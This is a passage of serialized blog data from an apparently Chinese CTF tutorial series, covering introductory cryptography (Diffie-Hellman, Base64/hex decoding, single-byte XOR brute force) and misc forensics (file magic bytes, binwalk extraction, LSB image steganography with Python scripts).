Alice。\n",[32,3915,3916],{"class":34,"line":1300},[32,3917,2433],{"emptyLinePlaceholder":1372},[32,3919,3920],{"class":34,"line":2478},[32,3921,3922],{},"s_alice = pow(B, a, p)\n",[32,3924,3925],{"class":34,"line":2484},[32,3926,3927],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[32,3929,3930],{"class":34,"line":2490},[32,3931,3932],{},"s_bob = pow(A, b, p)\n",[32,3934,3935],{"class":34,"line":2496},[32,3936,3937],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[32,3939,3940],{"class":34,"line":2502},[32,3941,3942],{},"# 两个结果相等，这就是共享密钥。\n",[32,3944,3945],{"class":34,"line":2508},[32,3946,2433],{"emptyLinePlaceholder":1372},[32,3948,3949],{"class":34,"line":2514},[32,3950,3951],{},"print(\"A =\", A)\n",[32,3953,3955],{"class":34,"line":3954},20,[32,3956,3957],{},"print(\"B =\", B)\n",[32,3959,3961],{"class":34,"line":3960},21,[32,3962,3963],{},"print(\"Alice 计算:\", s_alice)\n",[32,3965,3967],{"class":34,"line":3966},22,[32,3968,3969],{},"print(\"Bob 计算:\", s_bob)\n",[32,3971,3973],{"class":34,"line":3972},23,[32,3974,3975],{},"print(\"一致:\", s_alice == s_bob)\n",[32,3977,3979],{"class":34,"line":3978},24,[32,3980,3981],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[15,3983,3405],{},[22,3985,3988],{"className":3986,"code":3987,"language":174,"meta":27},[172],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[29,3989,3987],{"__ignoreMap":27},[15,3991,3992,3993,3996,3997,3999],{},"窃听者只能看到 ",[29,3994,3995],{},"p, g, A, B","，要算出 ",[29,3998,3473],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[10,4001,1037],{"id":1036},[146,4003,4005],{"id":4004},"工具-1cyberchef","工具 1：CyberChef",[15,4007,4008],{},"浏览器工具，三个常用操作：",[489,4010,4011,4021],{},[492,4012,4013],{},[495,4014,4015,4018],{},[498,4016,4017],{},"操作",[498,4019,4020],{},"用法",[505,4022,4023,4031,4039],{},[495,4024,4025,4028],{},[510,4026,4027],{},"From Base64",[510,4029,4030],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[495,4032,4033,4036],{},[510,4034,4035],{},"From Hex",[510,4037,4038],{},"拖入 From Hex 解码十六进制",[495,4040,4041,4044],{},[510,4042,4043],{},"Magic",[510,4045,4046],{},"直接粘贴未知文本，自动猜测编码方式",[146,4048,4050],{"id":4049},"工具-2python-标准库","工具 2：Python 标准库",[22,4052,4054],{"className":1237,"code":4053,"language":1239,"meta":27,"style":27},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[29,4055,4056,4061,4065,4070,4075],{"__ignoreMap":27},[32,4057,4058],{"class":34,"line":35},[32,4059,4060],{},"import base64, binascii\n",[32,4062,4063],{"class":34,"line":46},[32,4064,2433],{"emptyLinePlaceholder":1372},[32,4066,4067],{"class":34,"line":69},[32,4068,4069],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[32,4071,4072],{"class":34,"line":79},[32,4073,4074],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[32,4076,4077],{"class":34,"line":451},[32,4078,4079],{},"print(ord('A'))                       # 65，ASCII 编码\n",[146,4081,4083],{"id":4082},"工具-3pycryptodome","工具 3：pycryptodome",[15,4085,4086],{},"CTF 密码学最常用的库，三个函数：",[22,4088,4090],{"className":1237,"code":4089,"language":1239,"meta":27,"style":27},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[29,4091,4092,4097,4101,4106,4111],{"__ignoreMap":27},[32,4093,4094],{"class":34,"line":35},[32,4095,4096],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[32,4098,4099],{"class":34,"line":46},[32,4100,2433],{"emptyLinePlaceholder":1372},[32,4102,4103],{"class":34,"line":69},[32,4104,4105],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[32,4107,4108],{"class":34,"line":79},[32,4109,4110],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[32,4112,4113],{"class":34,"line":451},[32,4114,4115],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[15,4117,3405],{},[22,4119,4122],{"className":4120,"code":4121,"language":174,"meta":27},[172],"5\nb'flag'\n1718378855\n",[29,4123,4121],{"__ignoreMap":27},[10,4125,4127],{"id":4126},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[15,4129,4130],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[22,4132,4134],{"className":4133,"code":3552,"language":174,"meta":27},[172],[29,4135,3552],{"__ignoreMap":27},[15,4137,4138],{},"解题脚本：",[15,4140,4141,4143,4144,4146],{},[135,4142,143],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[29,4145,3571],{}," 前缀过滤正确结果。",[22,4148,4150],{"className":1237,"code":4149,"language":1239,"meta":27,"style":27},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        break\n",[29,4151,4152,4157,4162,4166,4171,4175,4179,4183,4188,4192,4197,4202],{"__ignoreMap":27},[32,4153,4154],{"class":34,"line":35},[32,4155,4156],{},"from binascii import unhexlify\n",[32,4158,4159],{"class":34,"line":46},[32,4160,4161],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[32,4163,4164],{"class":34,"line":69},[32,4165,2433],{"emptyLinePlaceholder":1372},[32,4167,4168],{"class":34,"line":79},[32,4169,4170],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[32,4172,4173],{"class":34,"line":451},[32,4174,2433],{"emptyLinePlaceholder":1372},[32,4176,4177],{"class":34,"line":457},[32,4178,3600],{},[32,4180,4181],{"class":34,"line":463},[32,4182,3610],{},[32,4184,4185],{"class":34,"line":469},[32,4186,4187],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[32,4189,4190],{"class":34,"line":475},[32,4191,3625],{},[32,4193,4194],{"class":34,"line":481},[32,4195,4196],{},"        print(\"key =\", k)          # 预期 66\n",[32,4198,4199],{"class":34,"line":1294},[32,4200,4201],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[32,4203,4204],{"class":34,"line":1300},[32,4205,3645],{},[15,4207,3405],{},[22,4209,4211],{"className":4210,"code":3656,"language":174,"meta":27},[172],[29,4212,3656],{"__ignoreMap":27},[10,4214,1336],{"id":1335},[15,4216,4217],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1349,4219,4220],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":27,"searchDepth":46,"depth":46,"links":4222},[4223,4224,4225,4226,4227,4228,4229,4230],{"id":3241,"depth":69,"text":3242},{"id":88,"depth":69,"text":89},{"id":3481,"depth":69,"text":3482},{"id":3708,"depth":69,"text":3709},{"id":3787,"depth":69,"text":3788},{"id":1036,"depth":69,"text":1037},{"id":4126,"depth":69,"text":4127},{"id":1335,"depth":69,"text":1336},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":1365,"image":4233,"alt":4234,"tags":4235,"published":1372},"/blogs-img/blog3.png","CTF 密码学入门",[1369,4236,1371],"crypto","/blogs/ctf-crypto-overview",{"title":3236,"description":4231},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":4242,"title":4243,"body":4244,"description":5198,"extension":1363,"meta":5199,"navigation":1372,"ogImage":5200,"path":5204,"seo":5205,"stem":5206,"__hash__":5207},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 隐写",{"type":7,"value":4245,"toc":5188},[4246,4250,4260,4263,4323,4325,4358,4362,4366,4371,4376,4388,4390,4396,4403,4426,4430,4435,4458,4460,4466,4476,4480,4485,4496,4517,4520,4524,4527,4540,4542,4548,4551,4565,4572,4579,4590,4594,4598,4601,4607,4610,4614,4619,4822,4836,4840,4845,4850,4980,4982,4988,4992,5017,5023,5025,5096,5100,5105,5108,5119,5124,5127,5145,5148,5151,5161,5164,5167,5172,5174,5185],[10,4247,4249],{"id":4248},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[15,4251,4252,4253,4256,4257,300],{},"操作系统按扩展名选择打开程序（",[29,4254,4255],{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[135,4258,4259],{},"先看文件头，再信扩展名",[15,4261,4262],{},"必须记住的三个文件头：",[489,4264,4265,4278],{},[492,4266,4267],{},[495,4268,4269,4272,4275],{},[498,4270,4271],{},"文件",[498,4273,4274],{},"文件头（hex）",[498,4276,4277],{},"明文",[505,4279,4280,4295,4308],{},[495,4281,4282,4285,4290],{},[510,4283,4284],{},"PNG",[510,4286,4287],{},[29,4288,4289],{},"89 50 4E 47 0D 0A 1A 0A",[510,4291,4292],{},[29,4293,4294],{},"‰PNG",[495,4296,4297,4300,4305],{},[510,4298,4299],{},"JPEG",[510,4301,4302],{},[29,4303,4304],{},"FF D8 FF",[510,4306,4307],{},"—",[495,4309,4310,4313,4318],{},[510,4311,4312],{},"ZIP",[510,4314,4315],{},[29,4316,4317],{},"50 4B 03 04",[510,4319,4320],{},[29,4321,4322],{},"PK",[10,4324,89],{"id":88},[22,4326,4328],{"className":24,"code":4327,"language":26,"meta":27,"style":27},"apt install file binutils binwalk foremost exiftool\npip3 install pillow\n",[29,4329,4330,4349],{"__ignoreMap":27},[32,4331,4332,4334,4336,4338,4340,4343,4346],{"class":34,"line":35},[32,4333,102],{"class":38},[32,4335,105],{"class":42},[32,4337,108],{"class":42},[32,4339,111],{"class":42},[32,4341,4342],{"class":42}," binwalk",[32,4344,4345],{"class":42}," foremost",[32,4347,4348],{"class":42}," exiftool\n",[32,4350,4351,4353,4355],{"class":34,"line":46},[32,4352,2398],{"class":38},[32,4354,105],{"class":42},[32,4356,4357],{"class":42}," pillow\n",[10,4359,4361],{"id":4360},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[146,4363,4365],{"id":4364},"_31-file看真实类型","3.1 file：看真实类型",[15,4367,4368,4370],{},[135,4369,137],{},"：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[15,4372,4373,4375],{},[135,4374,647],{},"：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[22,4377,4379],{"className":24,"code":4378,"language":26,"meta":27,"style":27},"file hidden.png\n",[29,4380,4381],{"__ignoreMap":27},[32,4382,4383,4385],{"class":34,"line":35},[32,4384,162],{"class":38},[32,4386,4387],{"class":42}," hidden.png\n",[15,4389,3405],{},[22,4391,4394],{"className":4392,"code":4393,"language":174,"meta":27},[172],"hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n",[29,4395,4393],{"__ignoreMap":27},[15,4397,4398,4399,4402],{},"如果输出是 ",[29,4400,4401],{},"Zip archive data","，说明文件其实是 zip：",[22,4404,4406],{"className":24,"code":4405,"language":26,"meta":27,"style":27},"mv flag.png flag.zip && unzip flag.zip\n",[29,4407,4408],{"__ignoreMap":27},[32,4409,4410,4413,4416,4419,4421,4423],{"class":34,"line":35},[32,4411,4412],{"class":38},"mv",[32,4414,4415],{"class":42}," flag.png",[32,4417,4418],{"class":42}," flag.zip",[32,4420,780],{"class":62},[32,4422,757],{"class":38},[32,4424,4425],{"class":42}," flag.zip\n",[146,4427,4429],{"id":4428},"_32-xxd看文件头","3.2 xxd：看文件头",[15,4431,4432,4434],{},[135,4433,137],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[22,4436,4438],{"className":24,"code":4437,"language":26,"meta":27,"style":27},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[29,4439,4440,4453],{"__ignoreMap":27},[32,4441,4442,4445,4448,4451],{"class":34,"line":35},[32,4443,4444],{"class":38},"xxd",[32,4446,4447],{"class":240}," -l",[32,4449,4450],{"class":240}," 16",[32,4452,4387],{"class":42},[32,4454,4455],{"class":34,"line":46},[32,4456,4457],{"class":2549},"# -l 16：只显示前 16 个字节，看文件头足够。\n",[15,4459,3405],{},[22,4461,4464],{"className":4462,"code":4463,"language":174,"meta":27},[172],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[29,4465,4463],{"__ignoreMap":27},[15,4467,4468,4469,4472,4473,300],{},"开头的 ",[29,4470,4471],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[29,4474,4475],{},".PNG",[146,4477,4479],{"id":4478},"_33-strings搜字符串","3.3 strings：搜字符串",[15,4481,4482,4484],{},[135,4483,137],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[15,4486,4487,560,4489,4491,4492,4495],{},[135,4488,143],{},[29,4490,208],{}," 把可打印字符串抽出来，",[29,4493,4494],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[22,4497,4499],{"className":24,"code":4498,"language":26,"meta":27,"style":27},"strings flag.png | grep -i flag\n",[29,4500,4501],{"__ignoreMap":27},[32,4502,4503,4505,4507,4509,4511,4514],{"class":34,"line":35},[32,4504,208],{"class":38},[32,4506,4415],{"class":42},[32,4508,399],{"class":55},[32,4510,402],{"class":38},[32,4512,4513],{"class":240}," -i",[32,4515,4516],{"class":42}," flag\n",[15,4518,4519],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[10,4521,4523],{"id":4522},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[15,4525,4526],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[22,4528,4530],{"className":24,"code":4529,"language":26,"meta":27,"style":27},"binwalk flag.png\n",[29,4531,4532],{"__ignoreMap":27},[32,4533,4534,4537],{"class":34,"line":35},[32,4535,4536],{"class":38},"binwalk",[32,4538,4539],{"class":42}," flag.png\n",[15,4541,168],{},[22,4543,4546],{"className":4544,"code":4545,"language":174,"meta":27},[172],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[29,4547,4545],{"__ignoreMap":27},[15,4549,4550],{},"提取：",[22,4552,4554],{"className":24,"code":4553,"language":26,"meta":27,"style":27},"binwalk -e flag.png\n",[29,4555,4556],{"__ignoreMap":27},[32,4557,4558,4560,4563],{"class":34,"line":35},[32,4559,4536],{"class":38},[32,4561,4562],{"class":240}," -e",[32,4564,4539],{"class":42},[15,4566,4567,4568,4571],{},"会在当前目录生成 ",[29,4569,4570],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[15,4573,4574,4575,4578],{},"备选工具 ",[29,4576,4577],{},"foremost","（按文件头暴力切割）：",[22,4580,4582],{"className":24,"code":4581,"language":26,"meta":27,"style":27},"foremost flag.png\n",[29,4583,4584],{"__ignoreMap":27},[32,4585,4586,4588],{"class":34,"line":35},[32,4587,4577],{"class":38},[32,4589,4539],{"class":42},[10,4591,4593],{"id":4592},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[146,4595,4597],{"id":4596},"_51-原理","5.1 原理",[15,4599,4600],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[22,4602,4605],{"className":4603,"code":4604,"language":174,"meta":27},[172],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[29,4606,4604],{"__ignoreMap":27},[15,4608,4609],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[146,4611,4613],{"id":4612},"_52-隐藏出题人视角","5.2 隐藏（出题人视角）",[15,4615,4616,4618],{},[135,4617,137],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[22,4620,4622],{"className":1237,"code":4621,"language":1239,"meta":27,"style":27},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 文件。\nprint(\"已生成 hidden.png\")\n",[29,4623,4624,4629,4634,4638,4643,4648,4653,4658,4662,4667,4672,4677,4682,4687,4692,4697,4702,4706,4711,4716,4721,4726,4731,4736,4741,4746,4752,4758,4763,4769,4775,4781,4787,4792,4798,4804,4810,4816],{"__ignoreMap":27},[32,4625,4626],{"class":34,"line":35},[32,4627,4628],{},"from PIL import Image\n",[32,4630,4631],{"class":34,"line":46},[32,4632,4633],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[32,4635,4636],{"class":34,"line":69},[32,4637,2433],{"emptyLinePlaceholder":1372},[32,4639,4640],{"class":34,"line":79},[32,4641,4642],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[32,4644,4645],{"class":34,"line":451},[32,4646,4647],{},"# Image.new(mode, size, color)：新建一张图片。\n",[32,4649,4650],{"class":34,"line":457},[32,4651,4652],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[32,4654,4655],{"class":34,"line":463},[32,4656,4657],{},"message = \"flag{lsb_steganography}\"\n",[32,4659,4660],{"class":34,"line":469},[32,4661,2433],{"emptyLinePlaceholder":1372},[32,4663,4664],{"class":34,"line":475},[32,4665,4666],{},"data = message.encode() + b'\\x00'\n",[32,4668,4669],{"class":34,"line":481},[32,4670,4671],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[32,4673,4674],{"class":34,"line":1294},[32,4675,4676],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[32,4678,4679],{"class":34,"line":1300},[32,4680,4681],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[32,4683,4684],{"class":34,"line":2478},[32,4685,4686],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[32,4688,4689],{"class":34,"line":2484},[32,4690,4691],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[32,4693,4694],{"class":34,"line":2490},[32,4695,4696],{},"pixels = list(img.getdata())\n",[32,4698,4699],{"class":34,"line":2496},[32,4700,4701],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[32,4703,4704],{"class":34,"line":2502},[32,4705,2433],{"emptyLinePlaceholder":1372},[32,4707,4708],{"class":34,"line":2508},[32,4709,4710],{},"new_pixels = []\n",[32,4712,4713],{"class":34,"line":2514},[32,4714,4715],{},"i = 0\n",[32,4717,4718],{"class":34,"line":3954},[32,4719,4720],{},"for r, g, b in pixels:\n",[32,4722,4723],{"class":34,"line":3960},[32,4724,4725],{},"    if i \u003C len(bits):\n",[32,4727,4728],{"class":34,"line":3966},[32,4729,4730],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[32,4732,4733],{"class":34,"line":3972},[32,4734,4735],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[32,4737,4738],{"class":34,"line":3978},[32,4739,4740],{},"        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n",[32,4742,4744],{"class":34,"line":4743},25,[32,4745,4725],{},[32,4747,4749],{"class":34,"line":4748},26,[32,4750,4751],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[32,4753,4755],{"class":34,"line":4754},27,[32,4756,4757],{},"        # 绿色通道同样处理。\n",[32,4759,4761],{"class":34,"line":4760},28,[32,4762,4725],{},[32,4764,4766],{"class":34,"line":4765},29,[32,4767,4768],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[32,4770,4772],{"class":34,"line":4771},30,[32,4773,4774],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[32,4776,4778],{"class":34,"line":4777},31,[32,4779,4780],{},"    new_pixels.append((r, g, b))\n",[32,4782,4784],{"class":34,"line":4783},32,[32,4785,4786],{},"    # 修改后的像素放入新列表。\n",[32,4788,4790],{"class":34,"line":4789},33,[32,4791,2433],{"emptyLinePlaceholder":1372},[32,4793,4795],{"class":34,"line":4794},34,[32,4796,4797],{},"img.putdata(new_pixels)\n",[32,4799,4801],{"class":34,"line":4800},35,[32,4802,4803],{},"# putdata()：把新像素列表写回图片对象。\n",[32,4805,4807],{"class":34,"line":4806},36,[32,4808,4809],{},"img.save('hidden.png')\n",[32,4811,4813],{"class":34,"line":4812},37,[32,4814,4815],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[32,4817,4819],{"class":34,"line":4818},38,[32,4820,4821],{},"print(\"已生成 hidden.png\")\n",[15,4823,4824,4827,4828,4831,4832,4835],{},[29,4825,4826],{},"r & 0xfe"," 把最低位清零（",[29,4829,4830],{},"0xfe = 11111110","），",[29,4833,4834],{},"| bit"," 写入目标比特。",[146,4837,4839],{"id":4838},"_53-提取解题视角","5.3 提取（解题视角）",[15,4841,4842,4844],{},[135,4843,137],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[15,4846,4847,4849],{},[135,4848,143],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[22,4851,4853],{"className":1237,"code":4852,"language":1239,"meta":27,"style":27},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[29,4854,4855,4859,4863,4868,4873,4878,4883,4888,4893,4898,4903,4907,4912,4917,4922,4927,4932,4937,4942,4947,4952,4957,4961,4966,4970,4975],{"__ignoreMap":27},[32,4856,4857],{"class":34,"line":35},[32,4858,4628],{},[32,4860,4861],{"class":34,"line":46},[32,4862,2433],{"emptyLinePlaceholder":1372},[32,4864,4865],{"class":34,"line":69},[32,4866,4867],{},"img = Image.open('hidden.png').convert('RGB')\n",[32,4869,4870],{"class":34,"line":79},[32,4871,4872],{},"# Image.open(path)：打开图片文件。\n",[32,4874,4875],{"class":34,"line":451},[32,4876,4877],{},"# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\n",[32,4879,4880],{"class":34,"line":457},[32,4881,4882],{},"bits = []\n",[32,4884,4885],{"class":34,"line":463},[32,4886,4887],{},"for r, g, b in img.getdata():\n",[32,4889,4890],{"class":34,"line":469},[32,4891,4892],{},"    bits += [r & 1, g & 1, b & 1]\n",[32,4894,4895],{"class":34,"line":475},[32,4896,4897],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[32,4899,4900],{"class":34,"line":481},[32,4901,4902],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[32,4904,4905],{"class":34,"line":1294},[32,4906,2433],{"emptyLinePlaceholder":1372},[32,4908,4909],{"class":34,"line":1300},[32,4910,4911],{},"data = bytearray()\n",[32,4913,4914],{"class":34,"line":2478},[32,4915,4916],{},"for i in range(0, len(bits) - 7, 8):\n",[32,4918,4919],{"class":34,"line":2484},[32,4920,4921],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[32,4923,4924],{"class":34,"line":2490},[32,4925,4926],{},"    byte = 0\n",[32,4928,4929],{"class":34,"line":2496},[32,4930,4931],{},"    for bit in bits[i:i+8]:\n",[32,4933,4934],{"class":34,"line":2502},[32,4935,4936],{},"        byte = (byte \u003C\u003C 1) | bit\n",[32,4938,4939],{"class":34,"line":2508},[32,4940,4941],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[32,4943,4944],{"class":34,"line":2514},[32,4945,4946],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[32,4948,4949],{"class":34,"line":3954},[32,4950,4951],{},"    if byte == 0:\n",[32,4953,4954],{"class":34,"line":3960},[32,4955,4956],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[32,4958,4959],{"class":34,"line":3966},[32,4960,3645],{},[32,4962,4963],{"class":34,"line":3972},[32,4964,4965],{},"    data.append(byte)\n",[32,4967,4968],{"class":34,"line":3978},[32,4969,2433],{"emptyLinePlaceholder":1372},[32,4971,4972],{"class":34,"line":4743},[32,4973,4974],{},"print(data.decode())\n",[32,4976,4977],{"class":34,"line":4748},[32,4978,4979],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[15,4981,3405],{},[22,4983,4986],{"className":4984,"code":4985,"language":174,"meta":27},[172],"flag{lsb_steganography}\n",[29,4987,4985],{"__ignoreMap":27},[146,4989,4991],{"id":4990},"_54-现成工具","5.4 现成工具",[22,4993,4995],{"className":24,"code":4994,"language":26,"meta":27,"style":27},"gem install zsteg\nzsteg -a hidden.png\n",[29,4996,4997,5007],{"__ignoreMap":27},[32,4998,4999,5002,5004],{"class":34,"line":35},[32,5000,5001],{"class":38},"gem",[32,5003,105],{"class":42},[32,5005,5006],{"class":42}," zsteg\n",[32,5008,5009,5012,5015],{"class":34,"line":46},[32,5010,5011],{"class":38},"zsteg",[32,5013,5014],{"class":240}," -a",[32,5016,4387],{"class":42},[15,5018,5019,5022],{},[29,5020,5021],{},"-a"," 全自动检测各种 LSB 变体。",[10,5024,1037],{"id":1036},[489,5026,5027,5038],{},[492,5028,5029],{},[495,5030,5031,5033,5035],{},[498,5032,1046],{},[498,5034,1049],{},[498,5036,5037],{},"命令",[505,5039,5040,5052,5065,5081],{},[495,5041,5042,5044,5047],{},[510,5043,162],{},[510,5045,5046],{},"看类型、看编码、看无后缀文件",[510,5048,5049],{},[29,5050,5051],{},"file flag",[495,5053,5054,5057,5060],{},[510,5055,5056],{},"xxd / hexdump",[510,5058,5059],{},"查看文件头、指定长度",[510,5061,5062],{},[29,5063,5064],{},"xxd -l 16 